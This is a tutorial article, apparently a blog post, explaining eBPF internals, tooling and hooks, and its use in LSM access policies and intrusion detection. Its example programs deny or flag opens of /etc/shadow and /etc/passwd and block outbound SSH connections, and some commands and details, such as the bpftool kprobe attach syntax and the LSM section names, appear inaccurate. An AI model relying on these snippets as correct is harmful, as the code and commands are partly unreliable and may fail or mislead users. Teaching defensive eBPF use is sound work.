Mastering eBPF: Harnessing the Power of Kernel-Level Security and Intrusion Prevention, and Practical Insights on Detection, Attack Bypasses, and Defensive Strategies.
eBPF (extended Berkeley Packet Filter) is a revolutionary technology that allows programs to run safely and efficiently in the Linux kernel without modifying kernel source code or loading kernel modules. It enables dynamic, event-driven actions in the kernel space, opening up powerful capabilities for observability, networking, and security.
Key Features of eBPF:
- Flexibility: eBPF programs can be loaded dynamically without rebooting or modifying the kernel.
- Safety: The eBPF verifier ensures programs are safe, preventing crashes or security breaches.
- Performance: Programs are Just-In-Time (JIT) compiled for near-native execution speed.
Origin and Evolution
Berkeley Packet Filter (BPF):
- Originally introduced in 1992 for efficient packet filtering in Unix-based systems.
- Allowed filtering packets at the kernel level, significantly reducing the overhead of copying unneeded packets to user space.
Extended BPF (eBPF):
- Introduced in Linux kernel 3.15 (2014).
- Extended BPF beyond networking to support a broader range of use cases like tracing, security, and system monitoring.
- Unlike the original BPF, which was limited to packet filtering, eBPF is a general-purpose execution environment.
Why was eBPF Introduced?
The limitations of traditional tools like tcpdump
, kernel modules, and static tracing frameworks led to the need for eBPF.
Key reasons:
Static Instrumentation Problems:
- Tools like
SystemTap
or DTrace required static probes in the kernel or external modules, causing maintenance and compatibility issues.
Kernel Modules Complexity:
- Writing kernel modules involves significant risks: Modules run with kernel privileges and can crash the kernel if buggy.
- Modules are tightly coupled to kernel versions.
Packet Filtering Performance:
- Traditional tools involved expensive context switches, as packets needed to be copied to user space for inspection.
eBPF addressed all these by:
- Running programs directly within the kernel, eliminating context switch overhead.
- Ensuring compatibility and safety via the verifier and abstraction layers.
Use Cases and Importance
eBPF is a key enabler for the next generation of tooling in the Linux ecosystem.
Primary Use Cases:
Networking:
- High-performance packet processing (e.g., XDP for DDoS mitigation).
- Traffic shaping and load balancing (e.g., Cilium).
Observability:
- Real-time tracing of kernel and application events.
- Monitoring performance metrics like CPU, memory, I/O, and network activity.
Security:
- Implementing runtime security policies (e.g., Linux Security Modules with eBPF).
- Detecting and mitigating malicious activity in real time.
Why is eBPF Revolutionary?
- It allows developers to extend kernel functionality dynamically, efficiently, and safely.
- It democratizes access to kernel-level insights without requiring kernel modifications or risking system stability.
Architecture and Inner Workings of eBPF
To truly understand how eBPF works, we need to dive into its architecture, components, and how it integrates with the Linux kernel. Let’s break it down step by step.
eBPF Virtual Machine (VM)
What is the eBPF Virtual Machine?
The eBPF VM is an execution environment embedded in the Linux kernel. It is designed to execute eBPF programs written in a restricted instruction set. These programs are compiled into eBPF bytecode and then loaded into the kernel via the bpf()
syscall. The VM ensures:
- Isolation: Programs cannot access arbitrary kernel memory.
- Efficiency: The VM runs programs in the kernel space without user-space context switches.
Key Features:
Registers: eBPF programs have access to 11 64-bit registers:
r0
: Return value register.r1-r5
: Arguments passed to the program.r6-r10
: Scratch registers (reserved for temporary storage).- The registers are general-purpose but restricted by the verifier for safety.
Instruction Set: eBPF uses a RISC-like instruction set with operations for:
- Arithmetic (e.g., addition, subtraction).
- Memory access (e.g., loading/storing data from maps).
- Program control (e.g., jumps, function calls).
- Instructions are 8 bytes long and support immediate values and memory addresses.
Stack Memory:
- Each eBPF program gets its own 512-byte stack for temporary data storage.
- The stack is strictly managed by the verifier to avoid out-of-bounds access.
Execution Model:
- Programs are run in a sandboxed environment to prevent kernel crashes.
- Programs must terminate; infinite loops or unbounded recursion are not allowed.
eBPF Program Types
eBPF programs are associated with specific kernel events or hooks. These determine where and when the program will execute. The main program types are:
Kernel Hooks:
- kprobes: Attach to any kernel function to trace its execution.
Example: Monitoring thedo_sys_open
function to trace file opens. - uprobes: Attach to user-space functions for similar tracing.
Tracepoints:
- Predefined locations in the kernel where eBPF programs can attach.
Example: Thesched:sched_process_exec
tracepoint monitors process executions.
Networking Hooks:
- XDP (eXpress Data Path): Attaches to the network driver level for ultra-fast packet processing.
- Traffic Control (TC-BPF): Attaches at the traffic control layer for advanced traffic shaping and filtering.
Filesystem Hooks:
- LSM (Linux Security Module): Allows implementing custom security policies in the kernel.
Perf Events:
- Attach to hardware counters or kernel software events to monitor performance.
How eBPF Interacts with the Kernel
eBPF programs act as event-driven mini-programs that attach to hooks in the kernel. The steps involved are:
Loading eBPF Programs:
- Programs are loaded into the kernel using the
bpf()
system call. - A user-space program (typically written in C or Python) compiles the eBPF code to bytecode using
clang
and then loads it into the kernel.
Attachment Points:
- The program specifies where to attach, such as a tracepoint, kprobe, or XDP hook.
- Once attached, the program is triggered whenever the event occurs.
Interaction with Maps:
- eBPF programs use maps for state management and data sharing between user space and kernel space.
Execution:
- When an event occurs (e.g., a packet is received), the attached eBPF program runs within the kernel.
- Programs cannot block or sleep — they must run to completion quickly.
The Role of the BPF Verifier
What is the Verifier?
The eBPF verifier is a safety mechanism that checks the validity of eBPF programs before they are executed. It prevents unsafe operations that could crash the kernel.
What Does the Verifier Check?
Program Safety:
- No unbounded loops or recursion (to guarantee termination).
- Valid memory accesses (e.g., no out-of-bounds accesses to stack or maps).
- Proper register usage (e.g., no use of uninitialized registers).
Program Size:
- eBPF programs are limited to 1 million instructions to ensure they are lightweight and efficient.
Call Limits:
- eBPF functions must have a finite and predictable number of calls.
Common Verifier Errors:
- “Invalid memory access” or “unreachable instructions.”
- These errors occur if the program logic violates safety rules.
Just-In-Time (JIT) Compilation
What is JIT Compilation in eBPF?
Once the verifier approves an eBPF program, it is compiled to native machine code (via JIT) for execution efficiency. JIT reduces the overhead of interpreting bytecode in the VM.
Benefits:
- Native performance comparable to kernel code.
- Lower CPU overhead.
How It Works:
- Bytecode is translated into platform-specific instructions.
- The native instructions are cached and directly executed by the CPU.
High-Level Summary of Architecture
- eBPF Program: Compiled user-written code loaded into the kernel.
- Verifier: Ensures program safety before execution.
- VM or JIT: Executes programs within the kernel.
- Maps: Shared memory regions for data storage and user-kernel communication.
- Hooks: Events or attachment points triggering program execution.
Key Concepts in eBPF
To unlock the power of eBPF, it’s essential to understand its core components and how they interact. These components include eBPF programs, maps, the verifier, and the loading process. Let’s break each of these down in technical detail.
eBPF Programs
An eBPF program is the user-defined logic executed within the kernel. These programs are compiled into bytecode, loaded into the kernel, and attached to specific hooks or events.
Characteristics:
- Event-Driven: eBPF programs are triggered by specific kernel or user-space events (e.g., function calls, tracepoints, packet arrivals).
- Non-Blocking: Programs cannot sleep, block, or take too long to execute; they must run to completion quickly.
- Stateless Logic: They rely on maps for storing state and cannot use persistent global variables.
Types of eBPF Programs:
Networking-Related:
XDP (eXpress Data Path):
- Ultra-fast packet processing at the network driver level.
- Applications: DDoS mitigation, load balancing.
Traffic Control (TC-BPF):
- Packet manipulation and traffic shaping at the network stack layer.
Kernel Observability:
kprobes:
- Attach to kernel functions for tracing and monitoring.
uprobes:
- Attach to user-space functions to trace application behavior.
Tracepoints:
- Predefined locations in the kernel for low-overhead event tracing.
Security:
LSM (Linux Security Module):
- Used for custom security policies like access control.
Perf Events:
- Attach to hardware or software performance counters for performance monitoring.
User-Space Events:
- Programs can also interact with user-space processes or events (e.g., through
perf_event_open
).
eBPF Maps
Maps are a central component in eBPF, acting as data structures for storing and sharing information between kernel space and user space.
Key Characteristics:
Shared Memory:
- Maps allow eBPF programs and user-space applications to exchange data efficiently.
- Example: A program records events in a map, and a user-space tool reads the data.
Predefined Types:
- Maps are type-specific and created during program setup.
- Some commonly used types:
- Hash Map: Key-value pairs.
- Array Map: Index-based access.
- Per-CPU Hash/Array Maps: Optimize performance by providing per-CPU storage.
- Ring Buffers: For efficiently sharing large amounts of data.
- Queue/Stack Maps: FIFO or LIFO access patterns.
Life Cycle:
- Maps persist even after the eBPF program has exited, as long as the user-space process holds a reference to the map.
Creating Maps:
- Maps are defined in code and created using the
bpf_create_map()
function or higher-level abstractions (e.g.,libbpf
). - Example (C code snippet):
struct bpf_map_def SEC("maps") my_map = {
.type = BPF_MAP_TYPE_HASH,
.key_size = sizeof(int),
.value_size = sizeof(long),
.max_entries = 1024,
};
Interacting with Maps:
Kernel Side:
- Programs interact with maps using helper functions like
bpf_map_lookup_elem()
andbpf_map_update_elem()
.
User-Space Side:
- Tools like
bpftool
or custom user-space code (e.g., vialibbpf
) interact with maps to read/write data.
The BPF Verifier
The verifier is a critical safety mechanism that analyzes eBPF programs before they are loaded into the kernel. It ensures that the programs:
Are Safe: Prevent access to invalid memory or kernel data structures.
Terminate: Ensure no infinite loops or unbounded recursion.
Comply with Constraints: Check register usage, memory access bounds, and function calls.
Verifier Rules:
Program Size:
- Programs must not exceed 1 million instructions.
Stack Size:
- The stack is limited to 512 bytes per program.
Memory Safety:
- All memory access must be bounds-checked.
Function Calls:
- Only a limited set of kernel helper functions can be called.
- Execution Flow:
- Ensure no unreachable code or invalid branches.
Verifier Workflow:
- When a program is loaded using
bpf()
, the verifier analyzes it. - If the program passes verification, it is JIT compiled or interpreted by the eBPF VM.
Common Verifier Errors:
- “Verifier rejected program” typically means:
- Invalid memory access.
- Register not initialized before use.
- Program execution path too complex.
Helper Functions
eBPF provides a set of kernel helper functions for performing specific tasks within programs. These helpers abstract complex kernel operations, ensuring safety and simplicity.
Examples:
bpf_get_current_pid_tgid()
: Retrieves the current process ID and thread group ID.
bpf_map_update_elem()
: Updates an entry in an eBPF map.
bpf_perf_event_output()
: Sends data to a perf ring buffer for user-space consumption.
Loading and Attaching eBPF Programs
The process of running an eBPF program involves the following steps:
Write the Program: Write the eBPF program in C, targeting the restricted eBPF instruction set.
Compile the Program: Use clang
with the -target bpf
flag to compile the C code into eBPF bytecode.
Load the Program: Use the bpf()
syscall or a library like libbpf
to load the bytecode into the kernel.
Attach the Program: Attach the program to a hook (e.g., kprobe, tracepoint, XDP) using tools like bpftool
or custom code.
Run and Observe: The program executes on the specified event, and data can be read or written via maps.
Key Relationships Between Components
Programs and Maps:
- Maps store persistent data and act as communication bridges between kernel space and user space.
- Programs perform logic and interact with maps for stateful operations.
Verifier and Programs:
- The verifier ensures program safety, rejecting unsafe or invalid code.
JIT and Programs:
- The JIT compiler optimizes program execution by converting bytecode to machine code.
Tools and Frameworks for eBPF Development
Developing and deploying eBPF programs can be complex, but a rich ecosystem of tools and frameworks simplifies this process. In this section, we’ll dive into the most important tools and frameworks used for working with eBPF.
Low-Level Tools
clang/LLVM:
- Purpose: Compiles eBPF programs written in C into eBPF bytecode.
- Details:
- The
clang
compiler with the-target bpf
flag generates bytecode compatible with the eBPF VM.
Example:
clang -target bpf -c my_ebpf_program.c -o my_ebpf_program.o
This generates an ELF (Executable and Linkable Format) file containing eBPF bytecode.
bpftool:
- Purpose: A command-line utility for inspecting and managing eBPF programs, maps, and more.
- Common Use Cases:
- Load eBPF programs.
- List running eBPF programs and maps.
- Inspect loaded programs and their attachment points.
Example Commands:
# List all loaded eBPF programs
bpftool prog show
# Load a program and attach it to a tracepoint
bpftool prog load my_program.o /sys/fs/bpf/my_program
perf:
- Purpose:
- A Linux performance analysis tool that works with eBPF for low-overhead performance monitoring.
Example:
# Attach an eBPF program to a perf event
perf record -e cycles:u ./my_app
iproute2:
- Purpose: A collection of utilities (
tc
,ip
) for managing networking features, including attaching eBPF programs. - Common Use Cases:
- Attach eBPF programs to traffic control hooks.
Example:
# Attach an eBPF program to ingress traffic
tc qdisc add dev eth0 clsact
tc filter add dev eth0 ingress bpf da obj my_program.o sec ingress
Writing and Compiling Your First eBPF Program
Now that we’ve covered the tools and frameworks, it’s time to dive into hands-on development with eBPF. This section will guide you step-by-step through writing, compiling, loading, and attaching your first eBPF program. We’ll focus on creating a simple program and running it, explaining every detail in the process.
Setting Up the Development Environment
To write and run eBPF programs, you need the following tools and packages:
Install Development Tools:
- clang/LLVM: To compile eBPF programs.
- bpftool: To load and manage programs.
- Linux Kernel Headers: For compiling against the kernel APIs.
- libbpf-dev: For higher-level program management.
sudo apt update
sudo apt install clang llvm libbpf-dev linux-headers-$(uname -r) build-essential
Verify Kernel Version:
- eBPF requires a Linux kernel version of at least 4.4, with more features in 5.x. Use:
uname -r
If your kernel version is too old, consider using a newer one (e.g., via a virtual machine or container).
Optional:
- Install tools like
bcc
,bpftrace
, orbpftool
for debugging and inspection.
Writing Your First eBPF Program
Let’s create a simple program that counts the number of times a specific kernel function (e.g., sys_execve
) is called.
- Define the Program in C:
- Create a file called
hello_bpf.c
. Here’s the code:
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
// Define a map to store the count
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1);
__type(key, int);
__type(value, long);
} execve_count SEC(".maps");
// eBPF program to count sys_execve calls
SEC("kprobe/sys_execve")
int bpf_prog(struct pt_regs *ctx) {
int key = 0;
long *value;
// Look up the current count in the map
value = bpf_map_lookup_elem(&execve_count, &key);
if (value) {
// Increment the counter
__sync_fetch_and_add(value, 1);
} else {
long initial_value = 1;
bpf_map_update_elem(&execve_count, &key, &initial_value, BPF_ANY);
}
return 0;
}
// Specify license and version
char LICENSE[] SEC("license") = "GPL";
Compiling the eBPF Program
- Compile to eBPF Bytecode:
- Use
clang
to compile the program into eBPF bytecode.
clang -O2 -target bpf -c hello_bpf.c -o hello_bpf.o
Explanation:
-O2
: Optimizes the program.-target bpf
: Specifies the eBPF backend.-c
: Generates an object file.
Verify the ELF File:
- Ensure the output is a valid eBPF object file:
file hello_bpf.o
Output should indicate it’s an ELF file.
Loading and Attaching the Program
Now, we load the program into the kernel and attach it to a kprobe.
Load and Attach Using bpftool
:
- Create a pinned map for storing the program:
bpftool prog load hello_bpf.o /sys/fs/bpf/hello_prog
Attach it to the kernel function sys_execve
:
bpftool prog attach /sys/fs/bpf/hello_prog kprobe/sys_execve
Alternative Using libbpf
:
- Use the
libbpf
library in C to manage loading and attaching:
#include <bpf/libbpf.h>
struct bpf_object *obj = bpf_object__open_file("hello_bpf.o", NULL);
bpf_object__load(obj);
Verifying and Testing
Check Loaded Program:
- List loaded eBPF programs:
bpftool prog show
Test the Program:
- Trigger the
sys_execve
function by running commands:
ls
echo "test"
Observe that the counter increments.
Inspect Map Data:
- Check the value stored in the map:
bpftool map dump name execve_count
Exploring eBPF Hooks: Probes, Tracepoints, XDP, and More
The power of eBPF lies in its ability to hook into various parts of the Linux kernel, providing visibility and control over system events. eBPF hooks allow you to attach custom logic to different points in the kernel or user-space, enabling a wide range of applications such as performance monitoring, security enforcement, and packet filtering.
In this section, we’ll explore the major types of eBPF hooks in detail:
Overview of eBPF Hooks
Hooks are the entry points for eBPF programs into the kernel or user space. These hooks determine:
- Where the eBPF program executes.
- What events trigger the program.
- What data the program has access to.
Key categories of hooks include:
- Tracing Hooks: For kernel or user-space function tracing.
- Networking Hooks: For packet filtering and processing.
- Filesystem Hooks: For monitoring filesystem operations.
- Security Hooks: For enforcing security policies.
Tracing Hooks
Tracing hooks allow eBPF programs to monitor and interact with kernel or user-space events in real-time.
kprobes and kretprobes
- kprobes: Attach to the entry of a kernel function.
- kretprobes: Attach to the exit of a kernel function.
Use Case: Monitor kernel functions like do_sys_open
or schedule
.
Example:
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
// kprobe for the `do_sys_open` function
SEC("kprobe/do_sys_open")
int trace_do_sys_open(struct pt_regs *ctx) {
char filename[256];
bpf_probe_read_user_str(filename, sizeof(filename), (void *)PT_REGS_PARM1(ctx));
bpf_printk("File opened: %s\n", filename);
return 0;
}
char LICENSE[] SEC("license") = "GPL";
How to Use:
- Attach with
bpftool
bpftool prog load my_program.o /sys/fs/bpf/kprobe_prog
bpftool prog attach /sys/fs/bpf/kprobe_prog kprobe/do_sys_open
Tracepoints
Purpose: Attach to predefined tracepoints in the kernel.
Advantages:
- Stable ABI (Application Binary Interface).
- Doesn’t require knowledge of internal kernel functions.
Use Case: Monitor syscalls, scheduler events, or block I/O events.
Example:
SEC("tracepoint/syscalls/sys_enter_execve")
int trace_execve(struct trace_event_raw_sys_enter *ctx) {
bpf_printk("execve called: pid = %d\n", bpf_get_current_pid_tgid() >> 32);
return 0;
}
char LICENSE[] SEC("license") = "GPL";
Attach Command:
bpftool prog load my_program.o /sys/fs/bpf/tp_execve
bpftool prog attach /sys/fs/bpf/tp_execve tracepoint/syscalls/sys_enter_execve
uprobe and uretprobe
- uprobes: Attach to user-space application function entry points.
- uretprobes: Attach to user-space function exits.
Use Case: Trace function calls in user-space applications (e.g., malloc
or custom application logic).
Example:
SEC("uprobe/libc:malloc")
int trace_malloc(struct pt_regs *ctx) {
size_t size = PT_REGS_PARM1(ctx);
bpf_printk("malloc called with size: %lu\n", size);
return 0;
}
char LICENSE[] SEC("license") = "GPL";
Attach Command:
bpftool prog load my_program.o /sys/fs/bpf/uprobed_prog
bpftool prog attach /sys/fs/bpf/uprobed_prog uprobe:/path/to/libc:malloc
Networking Hooks
Networking hooks allow eBPF programs to interact with and manipulate network packets at various stages of processing.
XDP (eXpress Data Path)
Purpose: High-performance packet processing at the network device level.
Key Features:
- Very low latency.
- Ideal for DDoS mitigation, load balancing, and packet filtering.
Example
#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <bpf/bpf_helpers.h>
SEC("xdp")
int xdp_prog(struct xdp_md *ctx) {
void *data_end = (void *)(long)ctx->data_end;
void *data = (void *)(long)ctx->data;
struct ethhdr *eth = data;
if ((void *)(eth + 1) > data_end) return XDP_DROP;
// Drop all packets
return XDP_DROP;
}
char LICENSE[] SEC("license") = "GPL";
Attach Command:
ip link set dev eth0 xdp obj my_program.o
tc (Traffic Control)
Purpose: Packet filtering and manipulation at the egress/ingress queue.
Comparison with XDP:
- Works at a higher layer (after XDP).
- More flexible but higher latency.
Example:
SEC("classifier")
int tc_prog(struct __sk_buff *skb) {
bpf_printk("Packet length: %d\n", skb->len);
return TC_ACT_OK;
}
char LICENSE[] SEC("license") = "GPL";
Attach Command:
tc qdisc add dev eth0 clsact
tc filter add dev eth0 ingress bpf da obj my_program.o sec classifier
Filesystem Hooks
eBPF programs can monitor filesystem operations such as file reads, writes, and opens. The most common hooks include:
- kprobes: Attach to filesystem kernel functions (e.g.,
vfs_read
). - LSM (Linux Security Module): Attach to security hooks for monitoring and enforcing policies.
Security Hooks
Security hooks leverage the LSM (Linux Security Module) interface to enforce policies or monitor security-related events.
Example:
SEC("lsm/file_open")
int lsm_file_open(struct file *file) {
bpf_printk("File opened: %s\n", file->f_path.dentry->d_name.name);
return 0;
}
char LICENSE[] SEC("license") = "GPL";
Attach: LSM hooks are automatically loaded and don’t require manual attachment.
Observability Hooks
For observability, tools like bpftrace
use hooks to monitor system-wide activity:
kprobes
tracepoints
uprobes
Example (bpftrace):
bpftrace -e 'kprobe:do_sys_open { printf("File opened: %s\n", str(arg1)); }'
Introduction to eBPF in Security
eBPF has emerged as a powerful tool in the Linux ecosystem for enhancing system security. Its ability to attach programs dynamically to various kernel and user-space events makes it ideal for building robust security mechanisms. In this section, we will explore:
- What makes eBPF suited for security.
- Common security-related use cases for eBPF.
- Examples of real-world tools that leverage eBPF for security.
Why is eBPF Suited for Security?
eBPF’s unique capabilities make it an excellent choice for security-related applications:
Kernel-Level Visibility:
- eBPF can observe and manipulate system events at the kernel level, providing fine-grained visibility into processes, syscalls, network packets, and file operations.
Dynamic and Extensible:
- eBPF programs can be dynamically loaded into the kernel, allowing runtime customization of security policies without rebooting or recompiling the kernel.
Low Overhead:
- Unlike traditional monitoring tools, eBPF introduces minimal performance overhead due to its execution within the kernel and the Just-In-Time (JIT) compilation of programs.
Safe Execution:
- The eBPF verifier ensures that loaded programs are safe to execute, preventing common issues like infinite loops or kernel crashes.
Real-Time Processing:
- eBPF programs can process events in real time, making them suitable for intrusion detection and prevention systems.
Common Security Use Cases for eBPF
eBPF is widely used to enhance system security across various domains:
Intrusion Detection Systems (IDS)
- eBPF can monitor system calls, network packets, and other kernel events to detect suspicious activities, such as:
- Unauthorized file accesses.
- Execution of unknown binaries.
- Abnormal network traffic patterns.
Example: Detecting an unauthorized process attempting to open sensitive files using a kprobe
on do_sys_open
.
Firewalls and Network Security
- eBPF is heavily used in building high-performance firewalls and network security tools.
- By attaching programs to XDP (eXpress Data Path) or tc (traffic control), eBPF can:
- Block malicious packets in real time.
- Enforce fine-grained network policies.
- Detect Distributed Denial of Service (DDoS) attacks.
Example: Cloudflare’s firewall uses eBPF for packet filtering at scale.
System Hardening and Access Control
- Using eBPF hooks in LSM (Linux Security Module), administrators can:
- Enforce access control policies.
- Restrict certain syscalls based on process attributes.
- Prevent unauthorized modifications to sensitive files.
Observability for Threat Detection
- eBPF-based tools like
bpftrace
andsysdig
provide detailed observability into system behavior, helping to identify anomalies or potential security threats. - Example: Detecting unusual process behaviors or monitoring resource usage patterns indicative of malware.
Real-World Tools Leveraging eBPF for Security
Several modern security tools use eBPF to enhance their capabilities:
Cilium
- A networking and security platform that uses eBPF for enforcing network policies, load balancing, and securing microservices in Kubernetes environments.
Falco
- A runtime security tool that uses eBPF to monitor syscalls and detect abnormal behavior.
- Example: Detecting the use of privileged containers or access to
/etc/shadow
.
Tracee
- An open-source runtime security tool by Aqua Security that uses eBPF for tracing system calls and detecting malicious behaviors.
Katran
- A high-performance load balancer developed by Facebook that uses eBPF for efficient packet forwarding and security.
Benefits of Using eBPF for Security
Improved Efficiency: By processing events at the kernel level, eBPF avoids the overhead of context switching between kernel and user space.
Comprehensive Monitoring: Full visibility into system events enables proactive threat detection and response.
Customizable Policies: Administrators can load custom eBPF programs tailored to specific security requirements.
Future-Proof: eBPF allows dynamic updates to security policies without requiring kernel updates or system downtime.
eBPF and Linux Security Modules (LSM)
The Linux Security Module (LSM) framework provides a mechanism for the kernel to enforce access control policies. Traditionally, LSMs like SELinux or AppArmor were static and required specific configurations. However, with eBPF, we can create dynamic and flexible security policies that adapt in real-time to changing system states.
What is eBPF’s Role in LSM?
- eBPF extends the LSM framework by allowing the attachment of custom security logic to LSM hooks.
- These eBPF-based LSM hooks enable fine-grained access control policies, which can monitor and enforce rules on system calls, file access, process creation, and more.
- Unlike traditional LSMs, eBPF-based LSMs can be updated dynamically without recompiling the kernel or rebooting.
Key LSM Hooks Accessible via eBPF
eBPF supports attaching programs to several LSM hooks, enabling you to enforce security policies for various operations:
File Access:
- Hooks for monitoring and controlling file-related operations such as opening, reading, writing, or deleting files.
- Example Hook:
security_inode_open
.
Process Management:
- Hooks to control process creation, execution, or termination.
- Example Hook:
security_bprm_check
.
Network Operations:
- Hooks for enforcing security policies on socket creation, binding, or connection attempts.
- Example Hook:
security_socket_connect
.
Capabilities:
- Hooks for managing Linux capabilities and restricting privileged operations.
- Example Hook:
security_capable
.
Example: Enforcing File Access Policies with eBPF
Let’s consider a scenario where we want to prevent access to sensitive files, such as /etc/shadow
. Here's how an eBPF program attached to the security_inode_open
hook can enforce this policy:
Steps:
Define the eBPF Program:
- Write an eBPF program to intercept file access operations.
- Check if the accessed file is
/etc/shadow
and deny access if it matches.
Attach the Program:
- Use the
bpf_lsm
helper to attach the program to thesecurity_inode_open
hook.
Enforce the Policy:
- Return
-EACCES
to deny access to the file.
Example Code:
#include <linux/bpf.h>
#include <linux/lsm.h>
#include <linux/errno.h>
SEC("lsm/security_inode_open")
int check_file_open(struct inode *inode, struct file *file) {
char filename[256];
// Get the file path (user-space helper for readability)
bpf_d_path(&file->f_path, filename, sizeof(filename));
// Check if the file is /etc/shadow
if (bpf_strncmp(filename, sizeof(filename), "/etc/shadow", 11) == 0) {
return -EACCES; // Deny access
}
return 0; // Allow other files
}
char LICENSE[] SEC("license") = "GPL";
What Happens:
- Every time a process tries to open a file, the eBPF program intercepts the operation.
- If the file is
/etc/shadow
, the program denies access by returning-EACCES
.
Dynamic Network Policies with eBPF
Using eBPF in LSM hooks, you can also enforce network security policies. For example:
- Prevent unauthorized connections: Attach to the
security_socket_connect
hook and block connections to restricted IPs or ports.
Example Use Case:
Block outgoing connections to port 22
(SSH).
Code Snippet:
SEC("lsm/security_socket_connect")
int block_ssh_connect(struct socket *sock, struct sockaddr *addr, int addrlen) {
struct sockaddr_in *addr_in = (struct sockaddr_in *)addr;
// Check if the destination port is 22
if (addr_in->sin_port == bpf_htons(22)) {
return -EACCES; // Deny connection
}
return 0; // Allow other connections
}
char LICENSE[] SEC("license") = "GPL";
Advantages of eBPF-based LSM Hooks
Dynamic Policies:
- Policies can be updated at runtime without rebooting or recompiling the kernel.
Custom Logic:
- Unlike traditional LSMs, you can write custom, fine-grained logic tailored to your specific needs.
Reduced Complexity:
- No need for the heavy configuration files associated with traditional LSMs like SELinux or AppArmor.
Performance:
- eBPF programs are JIT-compiled and run efficiently in the kernel.
Challenges and Risks
While eBPF-based LSM hooks are powerful, there are potential risks:
Verifier Limitations:
- Complex programs may fail to pass the verifier due to strict constraints on loops, memory access, etc.
Security Misconfigurations:
- Poorly written eBPF programs can introduce vulnerabilities instead of mitigating them (e.g., by allowing unintended access).
Kernel Exploits:
- If an attacker compromises the kernel, they might hijack or bypass eBPF programs entirely.
Real-World Application: Kubernetes Security
In Kubernetes, tools like Cilium use eBPF-based LSM hooks to enforce network policies dynamically. For example:
- Preventing cross-pod communication in a cluster.
- Limiting access to sensitive system resources.
eBPF for Intrusion Detection and Prevention (IDP)
One of eBPF’s most impactful use cases in security is its role in Intrusion Detection and Prevention Systems (IDP). By leveraging its ability to monitor system events and network traffic in real-time, eBPF provides deep insights into system behavior and can enforce security measures to block malicious activities.
Why eBPF is Ideal for IDP?
Real-Time Monitoring:
- eBPF programs operate directly within the kernel, enabling real-time monitoring and response to suspicious activity.
Granular Observability:
- eBPF can inspect syscall behavior, process execution, file access, and network packets with unparalleled granularity.
Low Overhead:
- Unlike traditional monitoring tools, eBPF minimizes the performance impact on the system due to its in-kernel execution model.
Customizability:
- Security policies can be tailored for specific applications, user groups, or workloads.
Dynamic Updates:
- eBPF-based tools can be updated on the fly, allowing the security system to adapt to new threats without downtime.
Components of eBPF-based IDP
An eBPF-based IDP typically involves the following components:
Syscall Monitoring:
- Tracks system calls made by processes to detect malicious patterns (e.g., unauthorized file accesses, privilege escalations).
Network Traffic Analysis:
- Monitors and filters network packets to detect anomalies or block malicious traffic.
Process Execution Monitoring:
- Watches for suspicious process behaviors, such as unexpected binaries being executed.
File System Access Monitoring:
- Tracks file operations to detect unauthorized modifications or data exfiltration attempts.
Examples of eBPF-based IDP Use Cases
Detecting Unauthorized File Access
Suppose we want to detect when a process tries to access sensitive files like /etc/passwd
. We can attach an eBPF program to a syscall tracepoint for openat
.
Example Code:
#include <linux/ptrace.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/dcache.h>
#include <linux/uaccess.h>
#include <bpf/bpf_helpers.h>
SEC("tracepoint/syscalls/sys_enter_openat")
int detect_sensitive_file_access(struct trace_event_raw_sys_enter *ctx) {
char filename[256];
bpf_probe_read_str(filename, sizeof(filename), (void *)ctx->args[1]);
// Check if the accessed file is /etc/passwd
if (bpf_strncmp(filename, sizeof(filename), "/etc/passwd", 11) == 0) {
bpf_printk("Unauthorized access attempt to %s\\n", filename);
}
return 0;
}
char LICENSE[] SEC("license") = "GPL";
How it Works:
- The program hooks into the
sys_enter_openat
syscall. - It inspects the filename being accessed.
- If the file matches
/etc/passwd
, it logs the unauthorized access.
Blocking Malicious Network Traffic
Using XDP (eXpress Data Path), we can block incoming packets that match specific malicious patterns (e.g., DDoS attacks, port scans).
Example Code:
#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/udp.h>
SEC("xdp")
int block_udp_port_53(struct xdp_md *ctx) {
void *data = (void *)(long)ctx->data;
void *data_end = (void *)(long)ctx->data_end;
struct ethhdr *eth = data;
if ((void *)(eth + 1) > data_end) return XDP_DROP;
struct iphdr *ip = data + sizeof(struct ethhdr);
if ((void *)(ip + 1) > data_end) return XDP_DROP;
if (ip->protocol == IPPROTO_UDP) {
struct udphdr *udp = (void *)ip + ip->ihl * 4;
if ((void *)(udp + 1) > data_end) return XDP_DROP;
// Drop packets to UDP port 53 (DNS)
if (udp->dest == bpf_htons(53)) {
return XDP_DROP;
}
}
return XDP_PASS;
}
char LICENSE[] SEC("license") = "GPL";
How it Works:
- The program attaches to the XDP layer and processes incoming network packets.
- It checks if the packet is a UDP packet destined for port 53 (DNS).
- If it matches, the packet is dropped.
Detecting Suspicious Process Executions
We can monitor execve
syscalls to detect the execution of unexpected binaries, such as a reverse shell or malware.
Example:
Hook into the execve
syscall to log or block suspicious binaries being executed.
Real-World eBPF IDP Tools
Falco
- Purpose: A runtime security tool that detects anomalous activity by monitoring syscalls.
How it Uses eBPF:
- Falco uses eBPF to trace syscalls and applies rules to detect malicious behavior.
- Example: Detecting the use of a privileged container or the modification of
/etc/shadow
.
Cilium Tetragon
Purpose: Runtime security observability and enforcement.
How it Uses eBPF:
- Provides visibility into process, file, and network activity.
- Enforces policies based on observed behaviors.
Challenges in eBPF-based IDP
Complexity in Writing Secure Programs:
- Writing eBPF programs for security requires careful handling to avoid bugs or vulnerabilities.
Resource Usage:
- Poorly designed eBPF programs can impact system performance.
Kernel Vulnerabilities:
- If the kernel has vulnerabilities, attackers may bypass or exploit the IDP.
Verifier Limitations:
- Complex security logic may fail the eBPF verifier’s checks.
Advantages of eBPF-based IDP
Real-Time Insights:
- Immediate detection and response to malicious activities.
Low Overhead:
- Efficient monitoring and filtering without significant performance impact.
Dynamic Policies:
- Ability to adapt to new threats without rebooting or recompiling.
Potential Vulnerabilities in eBPF
Kernel-Level Vulnerabilities
Since eBPF programs execute within the kernel, they depend on the kernel’s security. Vulnerabilities include:
Memory Corruption:
- Bugs in the kernel’s eBPF implementation may allow an attacker to corrupt memory or escalate privileges.
Improper Bounds Checking:
- If the kernel fails to enforce proper bounds checks, malicious eBPF programs may access or overwrite sensitive memory regions.
Verifier Bypasses:
